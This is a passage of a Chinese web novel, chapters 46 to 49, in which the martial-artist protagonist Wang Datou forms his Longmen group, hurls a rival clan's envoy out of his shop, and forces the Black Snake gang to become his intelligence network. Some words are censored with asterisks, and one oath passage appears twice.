“可以,多谢赵师傅,我还撑得住。”王大头深吸一口气,再次运转内力,虽然微弱,但足以支撑行走,暂时压制住伤势。
“嗯。”赵师傅点了点头,“回去之后,用我上次给你的金疮药,内服外敷,好好疗伤,切勿留下暗疾。最近一段时间,行事需加倍谨慎,龙门药膳那边,也让他们多留心眼。林家这次损失不小,以他们的行事风格,绝不会善罢甘休,下一次,恐怕就不会是单枪匹马的刺杀了。”
赵师傅提点了几句,然后提起鸟笼,不再多言,如同来时一样,脚步轻盈,身影几个闪烁,便悄无声息地融入了深沉的夜色之中,消失在小巷的尽头,仿佛从未出现过。
王大头独自站在原地,看着恢复死寂、仿佛什么都没有发生过的幽深巷子,又低头看了看自己身上狰狞的伤口和破烂染血的衣衫。
夜风吹过,带着凉意,却吹不散他心中那股历经生死、明悟己道后燃起的火焰。
午后的阳光被厚重窗帘过滤成昏黄光斑,在划痕累累的旧地板上投下斑驳光影。空气中弥漫着消**水和草药的混合气味,肃穆得近乎凝滞。
王大头靠坐在旧沙发上,胸口缠绕着层层洁白绷带,右胸位置仍有淡淡血色渗出,如同雪地中绽开的红梅,刺目惊心。
他脸色苍白,嘴唇缺乏血色,但那双眼睛却比以往任何时候都要明亮锐利,如同淬火精钢,闪烁着坚定冷冽的光芒。昨夜与死神擦肩而过,加上赵师傅关于“护道”与“本心”的教诲,让他完成了心境的蜕变。
他清晰认识到,个人勇武虽是立身之本,但要想在这波涛汹涌的世道中立足,守护想要守护的一切,单打独斗远远不够。他必须要有值得完全信赖、能够并肩作战的强大同伴!龙门,这个最初只为安置张猛几人而随口提出的名号,不能再是空架子,必须拥有自己的骨骼与血肉。
客厅内,除了伤势未愈的王大头和稳坐太师椅、微阖双目的赵师傅,还站着五个人。
第46章:龙门集结,核心初成
张猛如铁塔般矗立在王大头身侧,穿着干净黑色背心,古铜色臂膀肌肉虬结,眼神警惕沉稳,如同最忠诚的护卫。
另外四人,是张猛从最早跟随、且在黑蛇会来袭和药膳坊经营中表现出勇敢坚定和一定能力的兄弟中精心筛选的。王大头也暗中动用【初级因果洞察】确认这几人心性可靠,对龙门有初步归属感。
四人神态各异,却都透着底层挣扎求生者特有的韧劲。
阿杰,原黑蛇会底层跑腿,二十出头,个子不高,眼神活络机灵。他穿着oversize连帽衫,双手下意识搓着,显得紧张又兴奋。在药材断供危机中,他凭借对本地三教九流的熟悉,东奔西走出了不少力。
小斌,与阿杰同来但性格迥异。稍高半头,身形精悍,留着贴头皮短发,穿紧身黑色T恤,眼神阴郁,嘴唇紧抿,沉默寡言。上次黑蛇会**,几个下手最狠的混混就是他默不作声放倒的,手法狠辣精准。
铁柱,人如其名,身高近一米九,膀大腰圆,如铁塔般让狭小空间更显逼仄。他穿着洗得发白的工装背心,古铜色皮肤和虬结肌肉充满**性力量。面容憨厚木讷,眼神直勾勾带着茫然。据张猛说,他天生神力,在码头扛包一人顶三人,但脑子转得慢,认死理。
侯子,因身形瘦削灵活如猿猴得名。二十七八岁,穿花哨衬衫,头发油光锃亮,眼睛滴溜溜转,随时观察周围。他在市井底层摸爬滚打多年,练就察言观色、钻营打听的本事,消息灵通。
加上王大头、深不可测的赵师傅和绝对核心的张猛,一共七人。这便是龙门最初的核心班底,承载未来希望的基石。
王大头深吸一口气,牵动胸口伤处带来隐痛,但他眉头未皱。目光如实质扫过四张年轻面孔,声音沉稳有力,因伤势带着沙哑却清晰传入每人耳中:
“昨夜的事,猛子应该说了大概。林家,派了顶尖职业**来取我性命。”
众人神色一凛,目光聚焦在王大头胸口渗血的绷带上。能让实力深不可测的龙头受如此重伤,对手的可怕远超想象。寒意爬上脊背。
“我侥幸活了下来。”王大头继续说,语气平淡如述他事,但其中历经生死后的冷冽决绝让所有人心头一沉,“这意味着什么,你们清楚。这意味着,我们龙门与林家之间,已不再是简单商业竞争或地盘冲突,而是不死不休!”
他刻意停顿,冰冷目光再次扫过四人脸孔,让他们消化这话的血腥重量。
“未来的路,只会比现在艰难十倍、百倍!不会有任何侥幸!”王大头声音陡然拔高,带着不容置疑的穿透力,“我们要面对的,是盘踞城市多年的庞然大物!会有更多明枪暗箭,更阴险的商业打压,更残酷的武力清除,甚至像昨夜一样随时降临的生死搏杀!每一步都踏在刀尖上!每一刻都直面死亡!”
压抑气氛几乎让人窒息。阿杰咽了口唾沫,侯子眼珠转得更快,小斌拳头悄然握紧,铁柱一脸懵懂,似未完全理解“不死不休”的含义。
“现在,”王大头目光如手术刀般锐利,似要剖开每人伪装直抵内心,“我最后,也是第一次正式问你们。”
他语速很慢,确保每字砸在众人心坎:
“是否真的愿意,将身家性命、未来命运,彻底与‘龙门’绑在一起?是否愿意,为了龙门生存壮大,也为自己搏出不同未来,去直面可能远超想象的强敌与危险?”
“我给你们选择的机会。”王大头语气稍缓却更郑重,“现在退出还来得及。我王大头承诺绝不为难,并给一笔足够安稳生活一段时间的安家费,感念你们之前为药膳坊、为团体付出的心血。选择离开是人之常情,无可指摘。”
客厅陷入死寂,空气仿佛停止流动。落针可闻。只有窗外远处模糊车流声提醒这里并非与世隔绝。
阿杰、小斌、铁柱、侯子四人脸色变幻,内心激烈交战。他们都在社会底层摸爬滚打,比普通人更清楚林家的可怕残忍。那是真正的巨无霸,捏死他们这样的小人物比捏死蚂蚁难不了多少。跟着龙门对抗林家,几乎等于把脑袋别在裤腰带上,九死一生!
几秒钟沉默,漫长如几个世纪。
终于,阿杰第一个猛抬头,年轻脸庞因激动泛红,眼神异常坚定打破沉默:“龙头!我阿杰烂命一条,没爹没妈,在黑蛇会就是谁都能踹两脚的喽啰!要不是您和猛哥收留,给我正经事做,让我活得像个人样,我早烂在臭水沟了!”
声音颤抖却带着豁出去的决绝:“我不退!打死也不退!我跟定龙门了!跟定您了!林家怎么了?大不了一条命赔上!十八年后又是好汉!”
“我也不退!”小斌紧接着开口,声音低沉沙哑如砂纸摩擦。他没看任何人,目光盯自己脚尖,但骨子里透出的狠厉让人毫不怀疑决心。“我的命是猛哥救的。猛哥跟您,我就跟您。谁想动龙门,先从我尸体上踏过去!”
铁柱挠钢针般短发,瓮声瓮气开口,逻辑简单动人:“龙头,俺脑子笨,不会说漂亮话。但俺知道谁对俺好!您给俺们发钱,让俺们吃饱饭,教俺们本事,还把重要东西教给俺们。俺娘说过,做人要知恩图报!俺这条命以后是龙门的!您指哪儿,俺打哪儿!”
最后是侯子,眼珠飞快转几圈,脸上市侩精明收敛许多,深吸一口气像下定某种决心,嘿嘿干笑两声道:“龙头,我侯子别的本事没有,就是跑得快,耳朵灵,眼睛尖。在街面混这么多年,看人本事还有几分。我觉得跟着您有奔头!虽然风险大,机会也大!总比一辈子当底层混混看人脸色强!我赌了!就赌龙门能成事,赌您能带兄弟们杀出血路!”
无人退出!
王大头看着眼前四张稚嫩却写满决心与赌性的面孔,眼中闪过一丝不易察觉的欣慰暖意。他要的,就是清楚知晓前路艰险后,经过内心挣扎依然义无反顾留下的决心!这比一时冲动热血更珍贵可靠!
“好!”王大头低喝,强忍伤口因激动传来的刺痛,猛地从沙发站起,脊梁挺直如宁折不弯的**!“既然如此,从今日起,你们四人便是龙门第一批核心成员!与我和赵师傅、猛子共同构成龙门最初最坚实的脊梁!”
他示意一下,张猛从身后拿出木盒,打开后是四枚造型古朴、闪烁幽冷金属光泽的徽章。徽章不大,中心镌刻简约却充满力量感的盘旋龙纹,龙目处镶嵌极细微暗红色晶点,昏光下隐泛血光。入手微沉,带着冰冷质感与分量。
张猛神情庄重,将徽章一一分发四人手中。阿杰小心摩挲龙纹,小斌紧攥手心,铁柱笨拙想别胸口总对不准位置,侯子仔细打量细节似评估价值。但无论反应如何,他们都明白接过徽章意味着什么。
“这只是开始。”王大头看他们将代表身份责任的徽章收好,声音沉凝如铁,“想面对未来**,光有决心勇气不够,还需要匹配的强大力量!”
他目光转向一直闭目养神的赵师傅。赵师傅似有所感,缓缓睁眼,看似浑浊的老眼此刻清澈深邃,蕴含无尽智慧。
“接下来,”王大头声音带着近乎仪式
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般的庄严,“由赵师傅亲自传授你们龙门真正的根基之法——简化版《基础吐纳术》!”他特意强调“真正”和“根基”二字。
“此法能引导你们感应体内气感,锤炼筋骨体魄,激发潜能,打下坚实武道根基!这是通往更强力量道路的起点!”王大头声音陡然转厉,带着不容置疑威严,“但切记,法不可轻传!修炼此法需立血誓,不得外泄半分,不得仗之欺压良善、为非作歹!否则无需林家动手,龙门上下共诛之!听明白了没有?!”
“明白!”四人齐声应道,声音参差不齐却带着肃杀之气。
赵师傅缓缓起身走到客厅中间。他依旧是普通老头模样,但站定之时无形气场自然散发,让阿杰等人不由自主屏息,神情无比专注甚至带着敬畏。
赵师傅没有赘言,直接讲解《基础吐纳术》核心要领——呼吸节奏、意念引导、气血搬运及修炼禁忌。语言简洁明了,直指核心,寥寥数语点透关键。
讲解完毕,他亲自为四人逐一调整姿势,纠正呼吸,引导纷乱意念尝试捕捉体内那丝若有若无的“气感”。
过程远比想象艰难枯燥。需要极高专注力及对身体细微感知。客厅内只剩粗重紊乱呼吸声和赵师傅偶尔低沉点拨。
阿杰心思活络易杂念丛生,几次差点岔气,在赵师傅呵斥下勉强稳住。小斌心性沉静很快进入状态,但进展缓慢。铁柱身体底子好气血旺盛,却因心思不够细腻总不得法,急得满头大汗。侯子试图取巧,被赵师傅冷眼识破一句“根基不稳终身无望”吓得再不敢耍聪明。
王大头静静旁观,偶尔调动微弱内力隔空轻刺某人穴位,辅助感应气机。这对未愈伤势是负担,但他认为值得。
时间在寂静艰难尝试中流逝。窗外天色渐暗,夕阳余晖将天空染成瑰丽橘红。
终于,耗费大半天后,心性最沉静的小斌身体微震,脸上露出难以置信的惊喜——他感受到了!丹田深处一丝微弱却真实存在的暖流,如初生小蛇缓缓苏醒,沿特定路线游走!
紧接着在王大头内力辅助和赵师傅精准点拨下,阿杰、铁柱、侯子也先后突破障碍,勉强捕捉到那丝玄而又玄的“气感”!
虽只是最初步入门,连内力都算不上,顶多算一缕微弱内息,但这一刻对四人而言无疑推开了通往全新世界的大门!
傍晚时分,夕阳最后一丝光辉透过窗帘缝隙,如金色利剑斜劈入客厅,恰好照亮肃然而立的七道身影。
王大头站最前方,赵师傅略后半步,张猛立其侧后方,阿杰、小斌、铁柱、侯子四人并排站后面,站姿不够标准但每人腰杆挺直。
王大头举右拳缓缓置于左胸心脏位置,目光如磐石扫过每张坚毅激动凶狠憨直的面孔。
赵师傅微颔首举拳相应。张猛毫不犹豫跟上。阿杰四人深吸气强压内心澎湃,学样郑重将右拳置胸前。
七道目光在空中交汇,凝聚成无形力量。
不需华丽辞藻,不需冗长宣言。王大头开口,声音不高却如金铁交鸣,带着掷地有声的决绝信念:
“龙门所在,”
赵师傅、张猛紧随其后,声音沉稳:
“吾心所向!”
阿杰、小斌、铁柱、侯子用尽全力带着激动嘶吼汇入庄严誓言:
“吾刃所指!”
最后,七人声音完美融合,化作坚定充满血性的洪流,在简陋却意义非凡的客厅内轰然回荡,直透心扉:
“——吾等皆赴死!”
誓言铮铮,掷地有声!仿佛窗外夕阳都为之一滞。
第47章:林家的试探与警告
不需华丽辞藻,不需冗长宣言。王大头开口,声音不高却如金铁交鸣,带着掷地有声的决绝信念:
“龙门所在,”
赵师傅、张猛紧随其后,声音沉稳:
“吾心所向!”
阿杰、小斌、铁柱、侯子用尽全力带着激动嘶吼汇入庄严誓言:
“吾刃所指!”
最后,七人声音完美融合,化作坚定充满血性的洪流,在简陋却意义非凡的客厅内轰然回荡,直透心扉:
“——吾等皆赴死!”
誓言铮铮,掷地有声!仿佛窗外夕阳都为之一滞。
“影刺“的失踪在林家内部被悄无声息地抹平,没有追查,没有问责,连只言片语都未曾流传。这种诡异的平静反而更让人不安,仿佛暴风雨来临前令人窒息的死寂。
几天后的下午,秋高气爽,龙门药膳坊内一片繁忙。独特的口味和显著的养生效果让药膳坊口碑渐起,客流稳定,甚至出现了慕名而来的外地食客。
王大头的伤势恢复得出奇地快。在自身恢复力、内力滋养和【养神丹】残效,加上李雅精心照料下,右胸伤口虽未完全愈合,用力时仍有隐痛,但日常活动已无大碍。他正与李雅在柜台后研究几家商铺的平面图,商讨第一家分店选址。李雅指着图纸轻声分析,阳光透过玻璃洒在她专注的侧脸上,柔和而美好。
店内弥漫着药膳清香,食客低声交谈,氛围温馨。张猛坐在门口休息区,看似随意翻看报纸,实则眼观六路。阿杰穿着服务生制服,麻利地收拾碗筷。一切井然有序。
“叮咚——“
店门被推开,风铃清脆作响。
来人非比寻常。一身剪裁合体的黑色定制西装熨烫得一丝不苟,白衬衫领口系着深色领带,手上戴着一尘不染的白手套。
约莫四十岁,身材精干,面容冷峻,颧骨高耸,薄唇毫无血色。那双鹰隼般的眼睛锐利阴鸷,进门后无视店内温馨氛围,目光如探针般瞬间锁定柜台后的王大头。
他的出现如同寒冰投入温水,让轻松和谐的氛围为之一僵。无形的冰冷压力弥漫开来,靠近门口的几桌客人不自觉地停止交谈,感到莫名寒意。
张猛立刻起身,报纸随手扔在一旁,眼神锐利如刀,全身肌肉微绷。
后厨附近擦拭桌子的小斌动作停滞,阴郁目光扫向来人,手已悄然摸向后腰短棍。收拾碗筷的阿杰也感受到不寻常气氛,紧张望来。感知敏锐的食客感到呼吸一窒,说话声不自觉压低,有人开始不安地张望。
李雅脸色“唰“地苍白,手中图纸边缘被她无意识地捏皱。她迅速靠近王大头,声音带着不易察觉的颤抖:“大头,小心!是林耀宗身边的人,林魁!他的贴身随从兼保镖头子,据说身手极高,而且心狠手辣,替他处理过很多见不得光的事!“
王大头目光微凝,轻轻拍了拍李雅冰凉的手背,递去一个“放心“的眼神,然后平静迎上那道冰冷审视的目光。该来的,终究来了。
林魁迈着标准步伐,不疾不徐走向柜台。皮鞋踩在光洁地板上发出清晰而富有压迫感的“嗒、嗒“声,在突然安静的店内格外刺耳。他在距柜台三米处站定,微微昂首,用居高临下、毫不掩饰轻蔑与冰冷的目光打量王大头,仿佛在评估一件商品或一个将死之人。
“王先生。“林魁开口,声音干涩冰冷如生锈铁片摩擦,没有任何温度,省略所有客套直入主题,“我奉家主之命,前来传达最后口信。“
店内鸦雀无声,所有人屏息凝视。
林魁嘴角僵硬地扯起微小弧度,那不是笑容,而是掺杂冷酷、傲慢与残忍的表情。他一字一顿,声音不高却如冰锥凿入每人耳膜:
“林家,给你最后一次机会。“
他顿了顿,享受掌控他人生死的感觉,目光如毒蛇信子舔舐着王大头平静的面容。
“交出药膳秘方,自废武功,“声音陡然转厉,带着不容置疑的蛮横,“然后,像条狗一样,滚出这座城市!“
最后,他几乎咬着牙从齿缝挤出充满血腥味的威胁:
“如此,可留你一具全尸。“
“否则,“目光骤然凶戾如择人而噬的野兽,猛地扫过李雅、张猛、阿杰等人,声音如惊雷炸响,“龙门上下,鸡犬不留!“
赤裸裸的死亡威胁!比之前任何打压或刺杀都要直接、霸道、残忍!充满了世家大族视人命如草芥的冷漠与傲慢!
“哗——!“
店内顾客一片哗然,惊恐如瘟疫蔓延!不少人脸色发白,浑身发抖,有人慌乱起身,椅子摩擦地面发出刺耳声响,争先恐后往门口挤去,只想逃离这是非之地!场面一时混乱。
李雅气得浑身颤抖,指甲深掐掌心,美丽眼眸充满愤怒与恐惧交织的泪水,脸色苍白如纸。
张猛、阿杰、小斌等人怒目圆睁,青筋暴起,拳头握得咯咯作响,胸膛剧烈起伏,恨不得立刻冲上前将这嚣张跋扈的家伙生撕活剥!强烈**感和杀意在心中沸腾!
王大头脸上的平静终于打破!不是恐惧慌乱,而是极致冰冷与森然怒意!林家彻底撕下伪装,图穷匕见!以最野蛮、最原始、最践踏底线的方式发出最后通牒!
要他交出立身之本,自毁武道长城,然后像丧家之犬被驱逐,甚至对方施舍般承诺的“留全尸“都显得可笑残忍!更不可容忍的是,他们竟敢明目张胆威胁要摧毁他刚聚拢的兄弟、视若亲人的李雅、苦心经营的一切!
这已不再是简单利益冲突,这是对他本人、对龙门、对他所珍视一切的彻
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底否定与毁灭性打击!触碰到了绝对不可动摇的底线!
“轰!“
压抑许久的森然杀意再难抑制,如沉睡凶兽骤然苏醒,从王大头身上轰然爆发!店内温度骤降!内力受情绪引动微微震荡,右胸未愈伤口传来尖锐刺痛,提醒着昨夜血腥搏杀与林家不达目的誓不罢休的狠毒!
他缓缓地,一步一顿从柜台后走出。动作不快,但每一步都带着千钧之力,踩在无形鼓点上,累积着令人心悸的沉重压力,向林魁逼近。
林魁眼神猛凝,身为高手,感知远比常人敏锐。
在王大头杀意爆发瞬间,他就感到强烈危险气息扑面而来,比资料描述甚至预想的还要强烈纯粹!身体下意识微绷,体内气劲暗自流转,进入戒备状态。他发现自己似乎低估了这个年轻人。
王大头在距林魁一步之遥处停下。两人身高相仿,目光在空中***撞,无形电光火花噼啪作响,气氛紧张如拉满弓弦,一触即发!
“留我全尸?“王大头开口,声音很轻,带着奇异平静,但其中寒意仿佛能冻结灵魂,“就凭你?还是凭你背后那个,只敢躲在暗处,派些魑魅魍魉出来行事,藏头露尾的林家?“
林魁脸色瞬间阴沉滴水,眼中怒火升腾:“放肆!你敢对林家不敬?!找死!“他习惯性想用林家名头威吓。
“敬?“王大头嗤笑,笑容充满毫不掩饰讥讽与滔天不屑,“敬你们什么?敬你们仗势欺人,巧取豪夺?敬你们**,手段卑劣?还是敬你们这种如同阴沟老鼠,只会在暗处啮噬,一旦暴露光天化日之下,就只会龇牙咧嘴、虚张声势的行事作风?!“
他不再废话,也不想再听任何威胁!就在林魁因他话语勃然变色,试图再次开口瞬间——
王大头动了!
动如雷霆!
他猛探右手,五指成爪,速度快得在空气中留下淡淡残影!并非精妙招式,就是最简单、最直接的一抓,抓向林魁西装衣领!
林魁大惊失色!万万没想到王大头在己方明显势弱,并被林家严厉警告的情况下,竟敢率先动手!而且速度如此之快,角度如此刁钻!下意识就要施展擒拿格挡反击,肩膀微沉,手臂刚要抬起——
然而王大头的手仿佛早已预判他的动作,如灵蛇巧妙绕过格挡轨迹,下一刻,磅礴浩瀚、如山岳倾覆般的恐怖巨力已从对方看似不粗壮的手臂传来,如铁钳死死箍住他笔挺西装下的衣领!
“唔!“林魁闷哼,只觉浑身气劲被突如其来巨力一冲,瞬间滞涩运转不灵!拼命挣扎,脚下发力想要稳住身形,但抓住衣领的手却纹丝不动,仿佛焊在身上!这力量……怎么可能?!资料明明说这小子只是内力深厚,但这纯粹身体力量,简直堪比蛮象!
第48章:主动出击,剪除羽翼
在店内所有人惊愕继而转为兴奋的目光注视下,在店外仓皇逃出又忍不住回头观望的食客难以置信的惊呼声中——
王大头手臂肌肉贲张,腰胯发力,口中发出低沉冷哼,竟硬生生将身材魁梧精干的林魁如拎小鸡般双脚离地提起!
紧接着,手臂猛向前、向上、再向外一甩!动作流畅暴力,充满极致力量感!
“给我——滚出去!”
“砰!!”
“哗啦——哐当!”
林魁完全无法抗拒这恐怖力量,整个人如被全力投掷出的破旧麻袋,带着无可抵御势头,先撞碎龙门药膳店结实玻璃店门,无数玻璃碎片如水晶四散飞溅!
去势不减,又重重摔在外面的步行街道上,连续翻滚好几圈,才如死狗般瘫倒在地!
那身昂贵定制西装此刻沾满灰尘和碎玻璃渣,破烂不堪,白手套磨破露出渗血手掌,头发凌乱,脸上甚至被玻璃划出几道血痕,整个人狼狈凄惨到极点,哪还有半分刚才冷峻威严模样?
王大头站在破碎店门口,阳光毫无阻碍照射在他身上,仿佛镀上层金光。身影挺拔如松,目光冰冷如刀,俯视街上如烂泥般挣扎试图爬起的林魁,声音如滚滚雷霆,带着冲天霸气与决绝,清晰传遍整条街道,传入每个惊魂未定路人耳中:
“回去告诉林耀宗!告诉你们林家家主!”
声音一顿,蕴含内力音波震得人耳膜嗡嗡作响。
“龙门,接着了!”
“有什么手段,尽管使出来!明的,暗的,文的,武的!”
“我王大头,和整个龙门,——奉陪到底!”
霸气!强硬!寸步不让!以最直接、最暴力、最解气的方式,将林家威胁与通牒狠狠踩在脚下!
街道一片死寂,随即爆发出压抑惊呼和议论。店内,李雅捂着嘴,眼中泪光闪烁,却是激动与自豪的泪水。
张猛、阿杰、小斌等人只觉热血直冲头顶,恨不得仰天长啸,胸中因对方威胁产生的**愤怒在这一刻彻底宣泄,化为对龙头无比崇拜与誓死追随决心!
林魁挣扎着用未受伤左手支撑上半身,脸色铁青扭曲,羞愤交加,恨不得找地缝钻进去。
他死死瞪着站在店门口如战神般的王大头,眼神怨毒如毒蛇,仿佛要将他生吞活剥,但感受体内翻腾气血和几乎散架的身体,咬碎牙却连一句狠话都不敢再说,只能在一片异样和嘲笑目光注视下,捂着疼痛胸口和手臂,一瘸一拐地用最快速度灰溜溜消失在街角。
破碎店门,满地玻璃碎片,以及街道残留痕迹,无声诉说着刚才发生的一切。
林家最后的通牒如同冰冷的刀锋悬在头顶,那“鸡犬不留”的威胁,更是彻底激怒了王大头。被动挨打,等待对方出招,绝非他的风格。既然矛盾已经不可调和,那就主动出击,在林家这头猛虎真正张开血盆大口之前,先拔掉它几颗爪牙!
而第一个目标,就是屡次挑衅、并且很可能已经暗中倒向林家的——黑蛇会!
深夜,月隐星稀。
位于城西一处老旧物流园区深处的某栋三层小楼,便是黑蛇会的总部所在。这里外表看起来像是个废弃的仓库办公室,门口挂着某个不知名货运公司的牌子,实则内部别有洞天,是黑蛇会老大“蝮蛇”及其核心成员**、处理“事务”的窝点。
此时,楼内灯火通明,烟雾缭绕。一楼大厅改造成的简陋酒吧里,十几个纹身大汉正喝酒打牌,喧闹不堪。二楼的一个隔音颇好的房间内,黑蛇会老大“蝮蛇”正搂着一个浓妆艳抹的女人,和几个心腹一边喝着洋酒,一边骂骂咧咧。
蝮蛇是个四十多岁的中年男人,身材干瘦,三角眼,鹰钩鼻,脖子上纹着一条狰狞的黑蛇,一直延伸到衣领深处。他此刻脸色阴沉,手里晃动着酒杯。
“妈的!林家那边怎么回事?不是说好了只要我们配合断了龙门的货,就扶我们上位,接管他们的生意吗?现在倒好,龙门屁事没有,老子还折了刀疤强和那么多兄弟!林耀宗那个老狐狸,连个屁都不放!”蝮蛇越想越气,狠狠啐了一口。
一个心腹小心翼翼道:“老大,我看林家是拿我们当枪使呢。那个王大头邪门得很,连林家派去的高手都栽了,咱们……咱们是不是先避避风头?”
“避风头?老子的脸往哪搁?”蝮蛇猛地一拍桌子,酒水四溅,“他王大头再能打
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,也就是一个人!老子就不信,他敢找到这里来!等风头过去,老子非要……”
他的话戛然而止。
因为房间那扇厚重的、本该从里面反锁的木门,突然发出“咔嚓”一声轻响,门锁位置如同被无形的巨力冲击,木屑纷飞,整扇门缓缓向内打开了一道缝隙。
一股冰冷的、带着淡淡血腥气的夜风,从门缝中灌了进来,吹得房间内的几人都是一个激灵。
“谁?!”蝮蛇猛地推开怀里的女人,警惕地站起身,其他几个心腹也纷纷抄起了身边的**、钢管。
门被完全推开。
一个身影,悄无声息地站在门口。穿着普通的黑色运动服,身形挺拔,面容在昏暗的灯光下有些模糊,唯有一双眼睛,亮得惊人,如同暗夜中的星辰,又像是捕食前的猛兽,冰冷地扫视着房间内的每一个人。
正是王大头!
他居然真的找上门来了!而且是以这种近乎鬼魅的方式,突破了外面十几号小弟的“守卫”,直接出现在了核心房间的门口!
“王……王大头?!”蝮蛇瞳孔骤缩,脸上写满了难以置信和一丝恐惧,“你怎么进来的?!外面的兄弟呢?!”
“他们太吵,我让他们睡一会儿。”王大头的声音平淡无波,仿佛在说一件微不足道的小事。他迈步,走进了房间,反手轻轻带上了那扇已经损坏的门。
“拦住他!”蝮蛇又惊又怒,厉声吼道。
离门口最近的两个心腹壮着胆子,挥舞着**就冲了上来!刀风呼啸,直劈王大头顶门和脖颈!
王大头甚至没有正眼看他们,身体如同鬼魅般微微晃动,轻松避过刀锋,左右手同时探出,快如闪电般抓住了两人持刀的手腕,轻轻一拧!
“咔嚓!咔嚓!”
“啊——!”
令人牙酸的骨裂声和凄厉的惨叫同时响起!两人的手腕以一个诡异的角度扭曲,**“哐当”落地,抱着断腕惨嚎着倒地翻滚。
剩下的两个心腹吓得脸色发白,握着武器的手都在发抖,不敢再上前。
蝮蛇看得头皮发麻,他知道王大头能打,但没想到竟然恐怖到这种地步!这根本不是街头斗殴的层次!
第49章:情报网的雏形
“王大头!你……你想干什么?这里是我黑蛇会的地盘!你敢乱来,我保证你走不出这个门!”蝮蛇色厉内荏地吼道,手已经悄悄摸向了后腰,那里别着一把上了膛的**。
“你的地盘?”王大头嘴角勾起一抹冰冷的弧度,脚步未停,继续向蝮蛇逼近,“从今天起,不是了。”
话音未落,他的身影陡然模糊!
蝮蛇只觉得眼前一花,还没来得及掏出枪,一股无法抗拒的巨力就狠狠地踹在了他的腹部!
“嘭!”
蝮蛇如同被高速行驶的卡车撞上,整个人倒飞出去,重重地撞在后面的墙壁上,又滑落下来,五脏六腑仿佛都移了位,哇地一声吐出一口混合着酒水的污物,蜷缩在地上,如同一条濒死的泥鳅。
王大头走到他面前,居高临下地看着他,眼神漠然:“我给你两个选择。”
“一,我现在就送你去见刀疤强。”
“二,带着你的黑蛇会,臣服于我,臣服于龙门。以后,黑蛇会负责为龙门搜集外围情报,监视林家及其关联势力的动向。你们之前的地盘和生意,龙门不过问,但所有非法所得,抽取五成,作为龙门发展资金。”
他蹲下身,捡起地上那把蝮蛇没来得及掏出的**,在手里随意地把玩着,冰冷的金属触感让蝮蛇浑身发冷。
“选吧。”王大头的声音如同最后的审判。
蝮蛇看着那黑洞洞的、随时可能夺走他生命的枪口,又感受着腹部那撕心裂肺的剧痛,以及眼前这个年轻人那深不可测的实力和冰冷的杀意。他毫不怀疑,只要自己敢说半个不字,下一秒就会变成一具尸体。
什么尊严,什么地盘,在绝对的死亡威胁面前,都是狗屁!
他挣扎着,用尽全身力气,手脚并用地爬起来,然后“噗通”一声,直接跪倒在王大头面前,额头重重地磕在冰冷的水泥地上,发出沉闷的响声。
他鼻青脸肿,涕泪横流,用带着哭腔和极致恐惧的声音嘶喊道:
“我选二!我选二!蝮蛇……不,小的愿为龙门效犬马之劳!求王先生……不,求龙头饶命!饶命啊!”
曾经的城西一霸,此刻如同摇尾乞怜的丧家之犬。
收服黑蛇会,是龙门迈出的至关重要的一步。这不仅仅意味着扫清了一个潜在的麻烦和立威,更重要的是,龙门获得了一张虽然粗糙、但覆盖范围极广的底层情报网络。
黑蛇会这些地头蛇,或许上不了台面,但他们扎根于市井,消息灵通,三教九流都有接触,对于监控一些明面上不易察觉的风吹草动,有着意想不到的作用。
第二天,在黑蛇会总部那间被王大头踹坏门的房间里,一场特殊的“会议”召开了。
参会者只有三人:王大头、张猛,以及脸上还带着淤青、态度毕恭毕敬、甚至带着一丝谄媚的黑蛇会老大,蝮蛇。
房间已经被简单清理过,但空气中似乎还残留着昨夜的血腥和恐惧气息。蝮蛇亲自给王大头和张猛泡了茶,姿态放得极低。
“龙头,猛哥,您二位有什么吩咐,尽管说!我蝮蛇……不,我小黑一定办得妥妥当当!”蝮蛇陪着笑脸,连自称都改了。
王大头没有碰那杯茶,目光平静地看着他:“黑蛇会以前怎么运作,我不管。但从现在起,你们的核心任务只有一个——搜集情报。”
他拿出一份清单,上面罗列着需要重点关注的对象和信息类别:
林家及其关联企业、人员(尤其是林耀宗、林魁,以及林家可能的武力力量)的动向。
本市其他有可能对龙门构成威胁的地下势力的异动。
与“狂野角斗”地下拳场相关的、任何不寻常的资金和人员流动。(这是王大头根据之前搜集到的林家**线索做的延伸)
官方层面,特别是与治安、商业调查等相关的,任何可能针对龙门的风吹草动。
“记住,”王大头语气严肃,“我要的不是道听途说的谣言,而是尽可能准确、有时间、有地点、有人物的信息。哪怕只是一点看似不相关的细节,也要报上来。由猛子负责与你们单线联系。”
张猛在一旁重重哼了一声,瞪着蝮蛇:“蝮蛇,你给我听好了!龙头仁义,给了你机会!要是敢阳奉阴违,或者走漏风声,我第一个拧下你的脑袋!”
蝮蛇吓得一哆嗦,连
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忙保证:“不敢!绝对不敢!龙头,猛哥放心!我们黑蛇会别的不行,打听消息还是有一手的!我一定让手下所有的兄弟都把眼睛擦亮,耳朵竖起来!”
接下来的几天,在张猛的监督和龙门(主要是药膳利润和黑蛇会原本灰色收入抽成)的资金支持下,一张以黑蛇会原有人员为骨架、开始向更广泛领域渗透的简陋情报网,悄然铺开。
这些混混们虽然素质参差不齐,但胜在人数多,分布广。他们混迹于酒吧、夜市、货运站、城中村,与出租车司机、小商贩、失意白领、甚至一些基层公务人员都有着千丝万缕的联系。很多上流社会不屑一顾或者难以察觉的细节,往往就隐藏在这些看似不起眼的角落。
信息开始零零散散地汇聚到张猛这里,再由他筛选、整理后汇报给王大头。大部分都是无用信息,比如哪个小帮派又打架了,哪个老板包养了小三之类。
但王大头并没有不耐烦,他深知情报工作的特点——沙里淘金。他利用【初级因果洞察】的能力,对这些繁杂的信息进行模糊的甄别和关联,往往能发现一些被忽略的线索。
同时,王大头也开始有意识地培养张猛和阿杰等人分析情报的能力。他让张猛将一些不敏感的信息交给阿杰、侯子他们去初步处理,锻炼他们的敏锐度。
时间一天天过去,龙门在紧张而有序地积蓄着力量,等待着……
一周后,傍晚。
张猛急匆匆地找到正在天台修炼的王大头,脸上带着一丝兴奋和凝重。
“龙头,有消息了!是侯子从一个在码头混的线人那里打听到的,结合蝮蛇那边从货运公司内线得到的零碎信息,交叉验证过了,可信度很高!”
他压低声音,递过一张写着寥寥数语的纸条:
“林家,明晚子时,三号码头,有一批标注为‘精密仪器’的货物秘密抵达,由林家核心护卫队亲自接货,戒备森严。疑点:货物体积与申报价值严重不符,且绕开了常规海关通道。”
王大头接过纸条,看着上面的信息,眼中精光一闪。
第一批有价值的“大鱼”,终于浮出水面了!
第50章:风雨欲来的压抑
